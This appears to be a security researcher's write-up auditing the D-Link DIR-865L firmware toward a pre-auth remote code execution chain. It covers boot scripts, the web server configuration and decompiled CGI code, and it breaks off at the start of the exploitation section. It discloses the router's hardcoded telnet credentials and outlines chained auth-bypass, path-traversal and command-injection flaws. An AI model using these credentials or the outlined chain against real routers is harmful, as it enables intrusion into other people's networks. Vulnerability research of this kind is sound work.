C101011: D-Link DIR-865L, Remote Code Execution (pre-auth)
Hello, today we will see how in an unauthenticated way, it is possible to exploit the router D-Link DIR-865L (through the WAN or the LAN as my exploit works in both cases). But, the most important thing is that by chaining several vulnerabilities and basic functionality of the router we can easily obtain an RCE.
The following vulnerabilities will be chained during the exploit:
Vulnerability | Authentication Type |
---|---|
Information Leak | pre-auth |
Authentication Bypass via LF Injection + Information Leak | pre-auth |
Session Fixation | pre-auth |
Path Traversal + Arbitrary File List | pre-auth (for firmware version < 1.07) post-auth (for firmware version >= 1.07) |
Arbitrary File Upload | post-auth |
Authentication Bypass via LF Injection + Path Traversal + PHP File Include | pre-auth |
Command Injection | N/A |
In addition and for information purposes, other vulnerabilities will be provided in the bonus section as they were identified during my research.
Vulnerability | Authentication Type |
---|---|
Reflected XSS | pre-auth |
The target
Before starting the technical part, let’s introduce our target, a router. This target is a D-Link router, model DIR-865L (also known as Routeur Cloud Gigabit AC1750). Why this router, you may ask?
Well, the answer is simple. That router (and other of the same brand), have been the subject of some controversy, notably following the publication of false vulnerabilities and CVE identifiers. Some references if you are interested:
- CVE-2022-28958
- https://github.com/advisories/GHSA-phcp-9c77-57q2
- https://github.com/shijin0925/IOT/blob/master/DIR816/3.md
The debunk (the above references serve as a lead and with a little digging you will find other CVE numbers that are actually fake):
In addition to their blog post VulnCheck seems to confirm that the router is still vulnerable to an authentication bypass via /htdocs/web/getcfg.php and specify the associated CVE numbers:
- CVE-2022-28956
- CVE-2020-9376
- CVE-2020-15894
- CVE-2019-17506
- CVE-2018-7034
Unfortunately for them they are both right and wrong. There really is an authentication bypass, but the problem does not come from /htdocs/web/getcfg.php (a bit of reverse engineering will allow us to sort this out).
So I wanted to see for myself, if it was possible to find an unknown RCE chain.
Firmware & GPL
It is possible to download firmware versions (1.07 and 1.08) from D-Link support pages:
Or all firmware versions through this
link. Once the
firmware is downloaded you can use binwalk
to inspect the file and identify
the presence of Squashfs.
Unfortunately we can’t use unsquashfs
to extract the filesystem, but, we can
use sasquatch
instead.
We now have access to the router’s filesystem.
As I have presented in other articles, I usually try to find the GPL sources of the routers at the beginning of an audit, which often allows me to access the source code of certain binaries (which avoids most of the time the reverse engineering steps, and allows us to only audit sources code).
In the case of our target, D-Link did not publish the GPL sources, but you’ll see that it doesn’t matter, because most of this audit is dedicated to only read PHP code.
Audit
The boot process
In order to understand how the router boot, let’s look at the file /etc/init.d/rcS.
File: /etc/init.d/rcS
#!/bin/sh
for i in /etc/init.d/S??* ;do
# Ignore dangling symlinks (if any).
[ ! -f "$i" ] && continue
# Run the script.
echo "[$i]"
$i
done
echo "[$0] done!"
/etc/init0.d/rcS
It’s easy to understand that all scripts ending in .sh in the directory /etc/init.d/ are executed in ascending order.
- S10init.sh
- S11upboot.sh
- S12ubs_storage.sh
- S15udevd.sh
- S16ipv6.sh
- S19init.sh
- S20init.sh
- S20interfaces.sh
- S21usbmount.sh
- S22mydlink.sh
- S23udevd.sh
- S45gpiod.sh
Then the file /etc/init0.d/rcS is run.
In this first part of the boot stage two files are important, S12ubs_storage.sh and S21usbmount.sh.
File: /etc/init.d/S12ubs_storage.sh
#!/bin/sh
insmod /lib/modules/usb-storage.ko
File: /etc/init.d/S21usbmount.sh
#!/bin/sh
mkdir -p /var/tmp/storage
Now let’s look at the contents of file /etc/init0.d/rcS.
File: /etc/init0.d/rcS
#!/bin/sh
KRC=/var/killrc0
if [ -f $KRC ]; then
...
fi
for i in /etc/init0.d/S??* ; do
# Ignore dangling symlinks (if any).
[ ! -f "$i" ] && continue
# run the script
#echo [$i start]
$i start
# generate stop script
echo "$i stop" > $KRC.tmp
[ -f $KRC ] && cat $KRC >> $KRC.tmp
mv $KRC.tmp $KRC
done
[ -f $KRC ] && chmod +x $KRC
echo "[$0] done!"
It’s easy to understand that all scripts ending in
.sh in directory
/etc/init0.d/ are executed in ascending order
with the string start
as only argument.
- S21layout.sh
- S40event.sh
- S40gpioevent.sh
- S41autowan.sh
- S41autowanv6.sh
- S41event.sh
- S41inf.sh
- S41smart404.sh
- S42event.sh
- S42pthrough.sh
- S43mydlinkevent.sh
- S51wlan.sh
- S52wlan.sh
- S60shareport.sh
- S65ddnsd.sh
- S65user.sh
- S80telnetd.sh
- S90upnpav.sh
- S91proclink.sh
- S92fastroute.sh
- S93cpuload.sh
Let’s look at the contents of file S40event.sh.
File: /etc/init0.d/S40event.sh
#!/bin/sh
echo [$0]: $1 ... > /dev/console
if [ "$1" = "start" ]; then
...
event SEALPAC.CLEAR add "/etc/events/SEALPAC-CLEAR.sh"
event DNSCACHE.FLUSH add "/etc/events/DNSCACHE-FLUSH.sh"
event SENDMAIL add "phpsh /etc/events/SENDMAIL.php"
event LOGFULL add "phpsh /etc/events/SENDMAIL.php ACTION=LOGFULL"
event SCANARP add "/etc/events/scanarp.sh"
event CHECKFW add "/etc/events/checkfw.sh"
event DHCPS4.RESTART add "/etc/events/DHCPS-RESTART.sh"
event INF.RESTART add "phpsh /etc/events/INF-RESTART.php"
event WAN.RESTART add "phpsh /etc/events/INF-RESTART.php PREFIX=WAN"
event LAN.RESTART add "phpsh /etc/events/INF-RESTART.php PREFIX=LAN"
event BRIDGE.RESTART add "phpsh /etc/events/INF-RESTART.php PREFIX=BRIDGE"
event DISKUP add "/etc/events/disk.sh"
event DISKDOWN add "/etc/events/disk.sh"
...
fi
There are several references to binary phpsh
(/usr/sbin/phpsh
).
File: /usr/sbin/phpsh
#!/bin/sh
if [ $1 = "debug" ]; then DEBUG=yes; shift; fi
CMD="xmldbc -P $1"
shift
while [ -n "$1" ]; do CMD=$CMD" -V \"$1\""; shift; done
echo $CMD|sh > /var/run/phpsh-$$.sh
if [ -n "$DEBUG" ]; then
echo "PHPSH: [$CMD]" > /dev/console
cat /var/run/phpsh-$$.sh > /dev/console
fi
sh /var/run/phpsh-$$.sh
rm -f /var/run/phpsh-$$.sh
exit 0
As it can be seen /usr/sbin/phpsh
is a wrapper around the binary xmldbc
(/usr/sbin/xmldbc
, is a compiled binary for the MIPS architecture). So you
have figured out that the cpu of our target is MIPS based and that the PHP its
engine is xmldbc
.
An interesting fact is that in the folder /usr/sbin/ there are two binaries that have almost the same names:
xmldb
xmldbc
After a little analysis using the tools du
, md5sum
and diff
, it becomes
clear that these are the same binaries.
I think that the presence of the same two binaries with different names must be
due to a backward compatibility problem between firmwares (model, SDK, etc.) or
it could be due to the fact that the same firmware can be flashed on different
router models. Depending of the firmware version either xmldb
and xmldbc
are
two identical binaries or xmldbc
is a symlink to xmldb
.
Let’s go back to the boot topic and let’s look at another interesting startup script /etc/init0.d/S80telnetd.sh:
File: /etc/init0.d/S80telnetd.sh
#!/bin/sh
orig_devconfsize=`xmldbc -g /runtime/device/devconfsize`
echo [$0]: $1 ... > /dev/console
if [ "$1" = "start" ] && [ "$orig_devconfsize" = "0" ]; then
if [ -f "/usr/sbin/login" ]; then
image_sign=`cat /etc/config/image_sign`
telnetd -l /usr/sbin/login -u Alphanetworks:$image_sign -i br0 &
else
telnetd &
fi
else
killall telnetd
fi
It is pretty clear that the telnetd
(/usr/sbin/telnetd
) binary is present on
the system. At startup, if xmldbc -g /runtime/device/devconfsize
returns 0
then it expects to receive the following credentials to let a user login:
- Username: Alphanetworks
- Password: wrgac01_dlob.hans_dir865
However we won’t try to force xmldbc -g /runtime/device/devconfsize
to return
0
during our exploit, but, the ultimate goal will be to start
/usr/sbin/telnetd
listening on a port of our choice and reach this port from
the WAN.
Now that we have looked at the boot mechanism we move on to the most important topic, the Web server.
The Web server
The router functionality are managed by services, and those services (which are PHP scripts) are located at /etc/services/.
We are interested in the following files:
- /etc/services/HTTP.BRIDGE-1.php
- /etc/services/HTTP.LAN-1.php
- /etc/services/HTTP.LAN-2.php
- /etc/services/HTTP.LAN-3.php
- /etc/services/HTTP.LAN-4.php
- /etc/services/HTTP.LAN-5.php
- /etc/services/HTTP.LAN-6.php
- /etc/services/HTTP.WAN-1.php
- /etc/services/HTTP.WAN-2.php
- /etc/services/HTTP.WAN-3.php
- /etc/services/HTTP.WAN-4.php
- /etc/services/HTTP.php
- /etc/services/WEBACCESS.php
Let’s take /etc/services/HTTP.php as an example.
File: /etc/services/HTTP.php
<? /* vi: set sw=4 ts=4: */
include "/htdocs/phplib/phyinf.php";
fwrite("w",$START,"#!/bin/sh\n");
fwrite("w", $STOP,"#!/bin/sh\n");
$httpd_conf = "/var/run/httpd.conf";
/* start script */
if ( isdir("/htdocs/widget") == 1) // For widget By Joseph
{
foreach("/runtime/services/http/server")
{
if(query("mode")=="HTTP")
set("widget", 1);
}
fwrite("a",$START, "xmldbc -x /runtime/widget/salt \"get:widget -s\"\n");
fwrite("a",$START, "xmldbc -x /runtime/widgetv2/logincheck \"get:widget -a /var/run/password -v\"\n");
fwrite("a",$START, "xmldbc -x /runtime/time/date \"get:date +%m/%d/%Y\"\n");
fwrite("a",$START, "xmldbc -x /runtime/time/time \"get:date +%T\"\n");
}
fwrite("a",$START, "xmldbc -P /etc/services/HTTP/httpcfg.php > ".$httpd_conf."\n");
fwrite("a",$START, "event PREFWUPDATE add /etc/scripts/prefwupdate.sh\n");
fwrite("a",$START, "httpd -f ".$httpd_conf."\n");
fwrite("a",$START, "event HTTP.UP\n");
fwrite("a",$START, "exit 0\n");
/* stop script */
fwrite("a",$STOP, "killall httpd\n");
fwrite("a",$STOP, "rm -f ".$httpd_conf."\n");
fwrite("a",$STOP, "event HTTP.DOWN\n");
fwrite("a",$STOP, "exit 0\n");
?>
We can see that the following line generates the configuration of the Web server:
...
fwrite("a",$START, "xmldbc -P /etc/services/HTTP/httpcfg.php > ".$httpd_conf."\n");
...
Let’s inspect the file /etc/services/HTTP/httpcfg.php.
File: /etc/services/HTTP/httpcfg.php
Umask 026
PIDFile /var/run/httpd.pid
#LogGMT On
#ErrorLog /dev/console
Tuning
{
NumConnections 128
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 30
ScriptTimeout 30
}
Control
{
<?
echo "PathInfo Off\n";
?>
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php txt asp }
/usr/sbin/scandir.sgi {sgi}
}
}
<?
include "/htdocs/phplib/phyinf.php";
include "/htdocs/phplib/trace.php";
function http_server($sname, $uid, $ifname, $af, $ipaddr, $port, $hnap, $widget, $smart404, $miiicasa)
{
$webaccess = query("/webaccess/enable");
$uid_prefix = cut($uid, 0, "-");
/*if wan interface web server we do not bind interace for local loopback*/
if($uid_prefix=="WAN")
{
$ifname = "";
}
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n";
if($ifname != "") { echo " Interface ".$ifname. "\n";}
/*for bridge 192.168.0.50 alias ip access*/
if($uid == "BRIDGE-1" && $port == "80" ) { echo "# Address ".$ipaddr. "\n";}
else { echo " Address ".$ipaddr. "\n";}
echo
" Port ".$port. "\n";
if($webaccess == 1)
{
echo
' Virtual'. '\n'.
' {'. '\n'.
" HOST shareport.local". "\n".
" Priority 1". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/web/webaccess". "\n".
" IndexNames { index.php }". "\n".
" }". "\n".
" Control". "\n".
" {". "\n".
" Alias /dws". "\n".
" Location /htdocs/fileaccess.cgi". "\n".
" PathInfo On". "\n".
" External". "\n".
" {". "\n".
" /htdocs/fileaccess.cgi { * }"."\n".
" }". "\n".
" }". "\n".
" Control". "\n".
" {". "\n".
" Alias /dws/api/Login". "\n".
" Location /htdocs/web/webfa_authentication.cgi". "\n".
" External". "\n".
" {". "\n".
" /htdocs/web/webfa_authentication.cgi { * }"."\n".
" }". "\n".
" }". "\n".
" Control". "\n".
" {". "\n".
" Alias /dws/api/Logout". "\n".
" Location /htdocs/web/webfa_authentication_logout.cgi". "\n".
" External". "\n".
" {". "\n".
" /htdocs/web/webfa_authentication_logout.cgi { * }"."\n".
" }". "\n".
" }". "\n".
' }'. '\n';
echo
" Virtual". "\n".
" {". "\n".
" HOST shareport". "\n".
" Priority 1". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location http://shareport.local". "\n".
" }". "\n".
' }'. '\n';
}
echo
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Priority 1". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/web". "\n".
" IndexNames { index.php }". "\n";
if ($uid=="LAN-1"||$uid=="WAN-1") echo
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { txt }". "\n".
" }". "\n";
if ($widget > 0) echo
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { router_info.xml }"."\n".
" /usr/sbin/phpcgi { post_login.xml }"."\n".
" }". "\n";
echo
" }". "\n";
echo
" Control". "\n".
" {". "\n".
" Alias /parentalcontrols". "\n".
" Location /htdocs/parentalcontrols"."\n".
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { php }". "\n".
" }". "\n".
" }". "\n";
if ($smart404 == "1")
{
echo
' Control'. '\n'.
' {'. '\n'.
' Alias /smart404'. '\n'.
' Location /htdocs/smart404'. '\n'.
' }'. '\n';
}
if ($miiicasa == "1")
{
echo
' Control'. '\n'.
' {'. '\n'.
' Alias /ws/api'. '\n'.
' Location /usr/sbin/miiicasa.cgi'. '\n'.
' PathInfo On'. '\n'.
' External {'. '\n'.
' /usr/sbin/miiicasa.cgi { * } '.'\n'.
' }'. '\n'.
' }'. '\n'.
' Control'. '\n'.
' {'. '\n'.
' Alias /da'. '\n'.
' Location /var/tmp/storage'. '\n'.
' AllowDotfiles On'. '\n'.
' }'. '\n';
}
if ($hnap > 0)
{
echo
" Control". "\n".
" {". "\n".
" Alias /HNAP1". "\n".
" Location /htdocs/HNAP1". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/hnap { hnap }". "\n".
" }". "\n".
" IndexNames { index.hnap }". "\n".
" }". "\n";
}
echo
" Control". "\n".
" {". "\n".
" Alias /goform". "\n".
" Location /htdocs/mydlink". "\n".
" PathInfo On". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { * }". "\n".
" }". "\n".
" Specials". "\n".
" {". "\n".
" CGI {form_login form_logout }". "\n".
" }". "\n".
" }". "\n";
echo
" Control". "\n".
" {". "\n".
" Alias /mydlink". "\n".
" Location /htdocs/mydlink". "\n".
" PathInfo On". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { * }". "\n".
" }". "\n".
" }". "\n";
echo
" Control". "\n".
" {". "\n".
" Alias /common". "\n".
" Location /htdocs/mydlink". "\n".
" PathInfo On". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { cgi }". "\n".
" }". "\n".
" }". "\n";
echo
" }". "\n".
"}". "\n";
}
function ssdp_server($sname, $uid, $ifname, $af, $ipaddr)
{
$ipaddr ="239.255.255.250";
if ($af=="inet6") { $ipaddr="ff02::C"; }
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Port 1900". "\n".
" Address ".$ipaddr. "\n".
" Datagrams On". "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Priority 0". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/upnp/docs/".$uid."\n".
" External". "\n".
" {". "\n".
" /htdocs/upnp/ssdpcgi { * }"."\n".
" }". "\n".
" }". "\n".
" }". "\n".
"}". "\n".
"\n";
}
function upnp_server($sname, $uid, $ifname, $af, $ipaddr, $port)
{
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Address ".$ipaddr. "\n".
" Port ".$port. "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Priority 0". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/upnp/docs/".$uid."\n".
" }". "\n".
" }". "\n".
"}". "\n".
"\n";
}
function stunnel_server($sname, $uid, $ifname, $af, $ipaddr, $port, $wfa_port, $stunnel, $wfa_stunnel)
{
$mydlink = query("/mydlink/register_st");
if($mydlink == "1" || $stunnel=="1")
{
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Address ".$ipaddr. "\n".
" Port ".$port. "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Priority 1". "\n";
if ($stunnel=="1")
{
echo
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/web". "\n".
" IndexNames { index.php }". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { txt }". "\n".
" }". "\n".
" }". "\n";
}
echo
" Control". "\n".
" {". "\n".
" Alias /goform". "\n".
" Location /htdocs/mydlink". "\n".
" PathInfo On". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { * }". "\n".
" }". "\n".
" Specials". "\n".
" {". "\n".
" CGI {form_login form_logout }". "\n".
" }". "\n".
" }". "\n";
echo
" Control". "\n".
" {". "\n".
" Alias /mydlink". "\n".
" Location /htdocs/mydlink". "\n".
" PathInfo On". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { * }". "\n".
" }". "\n".
" }". "\n";
echo
" Control". "\n".
" {". "\n".
" Alias /common". "\n".
" Location /htdocs/mydlink". "\n".
" PathInfo On". "\n".
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { cgi }". "\n".
" }". "\n".
" }". "\n";
echo
" }". "\n".
"}". "\n";
}
if ($wfa_stunnel=="1")
{
echo
"Server". "\n".
"{". "\n".
" ServerName \"".$sname."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n".
" Interface ".$ifname. "\n".
" Address ".$ipaddr. "\n".
" Port ".$wfa_port. "\n".
" Virtual". "\n".
" {". "\n".
" AnyHost". "\n".
" Priority 1". "\n";
echo
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/web/webaccess". "\n".
" IndexNames { index.php }". "\n";
echo
" External". "\n".
" {". "\n".
" /usr/sbin/phpcgi { txt }". "\n".
" }". "\n";
echo
" }". "\n".
" Control". "\n".
" {". "\n".
" Alias /dws". "\n".
" Location /htdocs/fileaccess.cgi". "\n".
" PathInfo On". "\n".
" External". "\n".
" {". "\n".
" /htdocs/fileaccess.cgi { * }"."\n".
" }". "\n".
" }". "\n".
" Control". "\n".
" {". "\n".
" Alias /dws/api/Login". "\n".
" Location /htdocs/web/webfa_authentication.cgi". "\n".
" External". "\n".
" {". "\n".
" /htdocs/web/webfa_authentication.cgi { * }"."\n".
" }". "\n".
" }". "\n".
" Control". "\n".
" {". "\n".
" Alias /dws/api/Logout". "\n".
" Location /htdocs/web/webfa_authentication_logout.cgi". "\n".
" External". "\n".
" {". "\n".
" /htdocs/web/webfa_authentication_logout.cgi { * }"."\n".
" }". "\n".
" }". "\n";
echo
" }". "\n".
"}". "\n";
}
}
function webaccess_server($webaccess_name, $uid, $ifname, $af, $ipaddr, $port)
{
echo
'Server'. '\n'.
'{'. '\n'.
" ServerName \"".$webaccess_name."\"". "\n".
" ServerId \"".$uid."\"". "\n".
" Family ".$af. "\n";
if($ifname!=""){ echo " Interface ".$ifname. "\n";}
echo
" Address ".$ipaddr. "\n".
" Port ".$port. "\n".
' Virtual'. '\n'.
' {'. '\n'.
" AnyHost". "\n".
" Priority 1". "\n".
" Control". "\n".
" {". "\n".
" Alias /". "\n".
" Location /htdocs/web/webaccess". "\n".
" IndexNames { index.php }". "\n";
echo
" }". "\n".
" Control". "\n".
" {". "\n".
" Alias /dws". "\n".
" Location /htdocs/fileaccess.cgi". "\n".
" PathInfo On". "\n".
" External". "\n".
" {". "\n".
" /htdocs/fileaccess.cgi { * }"."\n".
" }". "\n".
" }". "\n".
" Control". "\n".
" {". "\n".
" Alias /dws/api/Login". "\n".
" Location /htdocs/web/webfa_authentication.cgi". "\n".
" External". "\n".
" {". "\n".
" /htdocs/web/webfa_authentication.cgi { * }"."\n".
" }". "\n".
" }". "\n".
" Control". "\n".
" {". "\n".
" Alias /dws/api/Logout". "\n".
" Location /htdocs/web/webfa_authentication_logout.cgi". "\n".
" External". "\n".
" {". "\n".
" /htdocs/web/webfa_authentication_logout.cgi { * }"."\n".
" }". "\n".
" }". "\n".
' }'. '\n'.
'}'. '\n';
}
$webaccess = query("/webaccess/enable");
$wfa_port = query("/webaccess/httpport");
$have_http = 0;
foreach("/runtime/services/http/server")
{
$model = query("/runtime/device/modelname");
$ver = query("/runtime/device/firmwareversion");
$smart404 = query("/runtime/smart404");
$sname = "Linux, HTTP/1.1, ".$model." Ver ".$ver; /* HTTP server name */
$suname = "Linux, UPnP/1.0, ".$model." Ver ".$ver; /* UPnP server name */
$stunnel_name = "Linux, STUNNEL/1.0, ".$model." Ver ".$ver; /* STUNNEL server name */
$webaccess_name = "Linux, WEBACCESS/1.0, ".$model." Ver ".$ver; /* WEBACCESS server name */
$mode = query("mode");
$inf = query("inf");
$ifname = query("ifname");
$ipaddr = query("ipaddr");
$port = query("port");
$hnap = query("hnap");
$widget = query("widget");
$miiicasa = query("miiicasa");
$af = query("af");
$stunnel = query("stunnel");
$wfa_stunnel = query("wfa_stunnel");
if($ifname!="" || $ipaddr!="")
{
if ($af!="")
{
if($mode=="HTTP")
{
$have_http = 1;
http_server($sname, $inf,$ifname,$af,$ipaddr,$port,$hnap,$widget,$smart404,$miiicasa);
}
else if ($mode=="SSDP") ssdp_server($sname, $inf,$ifname,$af,$ipaddr);
else if ($mode=="UPNP") upnp_server($suname,$inf,$ifname,$af,$ipaddr,$port);
else if ($mode=="STUNNEL") stunnel_server($stunnel_name,$inf,$ifname,$af,$ipaddr,$port,$wfa_port,$stunnel,$wfa_stunnel);
else if ($mode=="WEBACCESS") webaccess_server($webaccess_name,$inf,$ifname,$af,$ipaddr,$port);
}
}
}
/*
this is for bridge,we only have alias ip on br0.
workarround only......
*/
if($have_http==0)
{
$model = query("/runtime/device/modelname");
$ver = query("/runtime/device/firmwareversion");
$sname = "Linux, HTTP/1.1, ".$model." Ver ".$ver; /* HTTP server name */
http_server($sname, "BRIDGE-1","br0","inet","","80",0,0,0,0);
}
?>
Thanks to:
- /etc/services/HTTP.php
- /etc/services/HTTP/httpcfg.php
- /etc/services/STUNNEL.php
- /etc/stunnel.conf
- /etc/services/WEBACCESS.php
We can make a first mapping of how the Web server works.
From a network point of view:
httpd
listen on port80
.httpd
listen on port8181
if the serviceWEBACCESS
is active.stunnel
listen on port443
and is an SSL socket forwarding decrypted incoming traffic (HTTP) to the Web server (127.0.0.1:80
).stunnel
listen on port4433
and is an SSL socket forwarding decrypted incoming traffic (HTTP) to the Web server (127.0.0.1:8181
) if the serviceWEBACCESS
is active.
We hurry to verify our theory:
Moreover, we demonstrate here our first vulnerability, Information Leak (pre-auth), which allows us in one request to obtain without authentication the model and the firmware version of the router which will be useful to us during the recon steps.
From an application point of view:
When we look at the code of the function http_server()
, we better understand
the interactions between the processes. Furthermore I realized that all the
files below are symlinks to the file /htdocs/cgibin
.
- In /usr/sbin/ :
- fwupdater
- hnap
- phpcgi
- scandir.sgi
- In /htdocs/web/ :
- authentication.cgi
- authentication_logout.cgi
- captcha.cgi
- conntrack.cgi
- dlapn.cgi
- dlcfg.cgi
- dldongle.cgi
- fwup.cgi
- hedwig.cgi
- pigwidgeon.cgi
- seama.cgi
- service.cgi
- session.cgi
- webfa_authentication.cgi
- webfa_authentication_logout.cgi
- In /htdocs/upnp/ :
- ssdpcgi
- In /htdocs/mydlink/ :
- form_login
- form_logout
So we understand that all the intelligence of the Web server is contained in the
binary /htdocs/cgibin
. Moreover, I think that the Web server and the PHP
engine (/usr/sbin/xmldbc
) communicate through a unix socket
/var/run/xmldb_sock (like Apache2 and PHP-FPM).
I can’t say that the following schema corresponds 100% to what is happening, but
in any case this is what I understand:
Now that we have a general understanding of how the router works, let’s exploit it.
Exploitation
Information Leak
We exploit the high verbosity of the Web server to extract the model and firmware version of the router (from HTTP response headers and body). Knowing thoses information allows us to check if the router is exploitable or not (by chance, it turns out that all firmware versions will be vulnerable to our exploit).
Authentication Bypass via LF Injection + Information Leak
As announced by VulnCheck, the router is vulnerable to an authentication bypass,
but contrary to what they announced, this is not due to the script
/htdocs/web/getcfg.php but to /htdocs/cgibin
(on the other hand, /htdocs/web/getcfg.php is
vulnerable to a Path Traversal and a PHP File Include via the funtion dophp()
but we will see why later).
File: /htdocs/web/getcfg.php
HTTP/1.1 200 OK
Content-Type: text/xml
<?echo "<?";?>xml version="1.0" encoding="utf-8"<?echo "?>";?>
<postxml>
<? include "/htdocs/phplib/trace.php";
function is_power_user()
{
if($_GLOBALS["AUTHORIZED_GROUP"] == "")
{
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0)
{
return 0;
}
return 1;
}
if ($_POST["CACHE"] == "true")
{
echo dump(1, "/runtime/session/".$SESSION_UID."/postxml");
}
else
{
if(is_power_user() == 1)
{
/* cut_count() will return 0 when no or only one token. */
$SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT)
{
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
if ($GETCFG_SVC!="")
{
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
/* GETCFG_SVC will be passed to the child process. */
if (isfile($file)=="1") dophp("load", $file);
}
$SERVICE_INDEX++;
}
}
else
{
/* not a power user, return error message */
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
}
?></postxml>
The proofs of concept present online use the PHP File Include to load a .xml.php file that leak the account name and password of the administrator. There is another way to obtain the same result using a trick not public yet, which allows to be more discreet in term of IOC, since it is not known.
Let’s look at the following call stack in /htdocs/cgibin
:
main()
phpcgi_main()
cgibin_parse_request()
FUN_004046a8()
FUN_00407c88()
File: /htdocs/cgibin
Function: FUN_00407c88()
void FUN_00407c88(int param_1,int *param_2) {
char *pcVar1;
char *local_10;
FUN_00407b08();
if (*param_2 == 0) {
sobj_add_string(param_1,"_POST_");
pcVar1 = sobj_get_string(param_2[1]);
sobj_add_string(param_1,pcVar1);
sobj_add_char(param_1,0x3d);
pcVar1 = sobj_get_string(param_2[2]);
sobj_add_string(param_1,pcVar1);
sobj_add_char(param_1,10);
}
else if (*param_2 == 1) {
...
}
return;
}
File: /htdocs/cgibin
Function: FUN_004046a8()
undefined4 FUN_004046a8(undefined4 param_1,undefined4 param_2) {
char *pcVar1;
size_t sVar2;
undefined4 local_20;
int local_1c;
undefined4 *local_18;
undefined4 *local_14;
undefined4 local_10;
undefined4 local_c;
local_18 = sobj_new();
local_14 = sobj_new();
if ((local_18 == (undefined4 *)0x0) || (local_14 == (undefined4 *)0x0)) {
local_20 = 0xffffffff;
}
else {
pcVar1 = getenv("REQUEST_URI");
if (pcVar1 == (char *)0x0) {
local_20 = 0xffffffff;
}
else {
pcVar1 = strchr(pcVar1,0x3f);
if (pcVar1 != (char *)0x0) {
local_1c = 0;
local_10 = param_1;
local_c = param_2;
sVar2 = strlen(pcVar1 + 1);
FUN_004043d4(&local_1c,(int)(pcVar1 + 1),sVar2);
FUN_004043d4(&local_1c,0,0);
}
local_20 = 0;
}
}
if (local_18 != (undefined4 *)0x0) {
sobj_del(local_18);
}
if (local_14 != (undefined4 *)0x0) {
sobj_del(local_14);
}
return local_20;
}
File: /htdocs/cgibin
Function: cgibin_parse_request()
int cgibin_parse_request(undefined4 param_1,undefined4 param_2,uint param_3) {
char *pcVar1;
uint local_1c;
int local_18;
int local_10;
local_1c = 0;
pcVar1 = getenv("CONTENT_TYPE");
if ((pcVar1 != (char *)0x0) && (pcVar1 = getenv("CONTENT_LENGTH"), pcVar1 != (char *)0x0)) {
local_1c = atoi(pcVar1);
}
local_18 = FUN_004046a8(param_1,param_2);
local_10 = local_18;
if (-1 < local_18) {
if (param_3 < local_1c) {
local_18 = -100;
FUN_004048a4(local_1c);
}
else if (local_1c != 0) {
local_18 = FUN_00406e58(param_1,param_2,local_1c);
}
local_10 = local_18;
}
return local_10;
}
File: /htdocs/cgibin
Function: phpcgi_main()
int phpcgi_main(int param_1,int param_2,int param_3) {
char *pcVar1;
int iVar2;
FILE *__stream;
undefined4 *local_28;
int local_24;
char acStack_20 [24];
local_24 = -1;
local_28 = (undefined4 *)0x0;
if (1 < param_1) {
local_28 = sobj_new();
if (local_28 != (undefined4 *)0x0) {
sobj_add_string((int)local_28,*(char **)(param_2 + 4));
sobj_add_char((int)local_28,10);
FUN_00407a10((int)local_28,param_3);
pcVar1 = getenv("REQUEST_METHOD");
if (pcVar1 != (char *)0x0) {
iVar2 = strcasecmp(pcVar1,"HEAD");
if (iVar2 == 0) {
local_24 = cgibin_parse_request(FUN_00407b30,local_28,0x80000);
}
else {
iVar2 = strcasecmp(pcVar1,"GET");
if (iVar2 == 0) {
local_24 = cgibin_parse_request(FUN_00407b30,local_28,0x80000);
}
else {
iVar2 = strcasecmp(pcVar1,"POST");
if (iVar2 != 0) goto LAB_00408444;
